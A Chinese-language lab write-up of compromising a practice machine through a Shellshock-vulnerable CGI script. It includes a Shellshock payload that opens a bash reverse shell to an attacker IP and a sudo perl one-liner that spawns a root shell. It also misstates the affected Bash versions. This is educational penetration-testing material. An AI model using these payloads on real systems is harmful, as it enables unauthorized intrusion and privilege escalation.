1 信息收集
NMAP
开启了两个端口,端口 80(http)、 2222(ssh)。
80 端口
访问80端口,页面只有一张图片,无可利用点,尝试进行目录扫描。
目录扫描
目录扫描发现 /cgi-bin
/cgi-bin目录下一般会存在脚本文件,所以继续进行目录扫描,发现 /cgi-bin/user.sh
但是访问 http://10.129.142.27/cgi-bin/user.sh
输出很奇怪,输出内容显示为执行 uptime 命令
的结果
抓包分析该请求,有三处值得注意的地方:
- Content-Type:text/x-sh
- Content-Type:text/plain
- uptime 命令的执行输出
通过浏览器访问 /cgi-bin/user.sh,输出结果为update命令的执行结果,并且脚本还是在/cgi-bin目录下,极有可能user.sh是一个CGI脚本。
CGI脚本是驻留在Web服务器上的脚本,而且可以被客户端(浏览器)运行。客户端通过脚本的URL来访问脚本,就像访问普通页面一样。服务器识别出请求的URL是一个脚本,于是就运行该脚本。
既然是CGI脚本,那就可以测试是否存在Shellshock漏洞了
2 Shellshock 攻击
GNU Bash 4.3 及以上版本会处理环境变量值中函数定义后的尾随字符串,这允许远程攻击者通过精心设计的环境执行任意代码,具体示例包括 OpenSSH sshd 中的 ForceCommand 功能、Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块、未指定的 DHCP 客户端执行的脚本,以及其他跨越 Bash 执行权限边界设置环境的情况,又称“ShellShock”。
由于这些环境变量在执行之前没有得到适当的清理,攻击者可以通过 HTTP 请求向服务器发送命令,并通过 Web 服务器的操作系统执行这些命令。
当攻击者修改原始 HTTP 请求以包含字符串() { :; };
时,就会发生 Shellshock。Bash 对处理以此模式开头的变量有特殊规则,并将其解释为需要执行的命令。
2.1 手工验证
# paylaod
() { :;}; echo; /usr/bin/id
() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1
2.2 使用 Metasploit 测试 Shellshock/Bashdoor
Shellshock 漏洞检测
Shellshock 漏洞攻击
3 权限提升
升级PTY
权限获取
sudo -l
sudo perl -e 'exec "/bin/sh";'
perl有一个-e 选项允许从命令行运行 Perl。exec命令可以运行 shell 命令。